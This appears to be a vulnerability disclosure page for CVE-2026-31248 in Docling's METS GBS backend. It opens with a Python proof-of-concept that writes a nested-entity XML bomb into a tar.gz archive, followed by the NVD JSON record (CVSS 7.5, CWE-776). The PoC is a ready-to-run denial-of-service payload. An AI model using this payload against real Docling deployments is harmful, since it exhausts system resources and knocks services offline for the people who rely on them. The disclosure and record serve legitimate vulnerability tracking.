CVE-2026-31248

import tarfile import io # Malicious XML payload (XML Bomb) xml_payload = """<!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY a "1234567890"> <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;"> ]> <data>&d;</data> """ # Create a tar.gz file containing the malicious XML tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode="w:gz") as tar: # Add XML file to archive info = tarfile.TarInfo(name="malicious.xml") info.size = len(xml_payload.encode()) tar.addfile(info, io.BytesIO(xml_payload.encode())) # Save the payload with open("exploit.tar.gz", "wb") as f: f.write(tar_buffer.getvalue()) print("PoC generated: exploit.tar.gz")

{"cve": {"id": "CVE-2026-31248", "sourceIdentifier": "[email protected]", "published": "2026-05-11T17:16:19.647", "lastModified": "2026-05-13T15:47:35.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Docling's METS GBS backend is vulnerable to XML Entity Expansion (XXE) attacks thru 2.61.0. The backend extracts and validates XML files from .tar.gz archives using etree.fromstring() without disabling entity resolution. An attacker can craft a malicious XML file with nested entity definitions (XML Bomb) and package it into a .tar.gz archive. When processed by Docling, the exponential expansion of entities during XML parsing leads to excessive resource consumption, resulting in a denial of service (DoS) condition on the system running the Docling parser."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-776"}]}], "references": [{"url": "https://github.com/docling-project/docling", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31248-35d1e1393188818585b2ce3b9ce24686", "source": "[email protected]"}]}}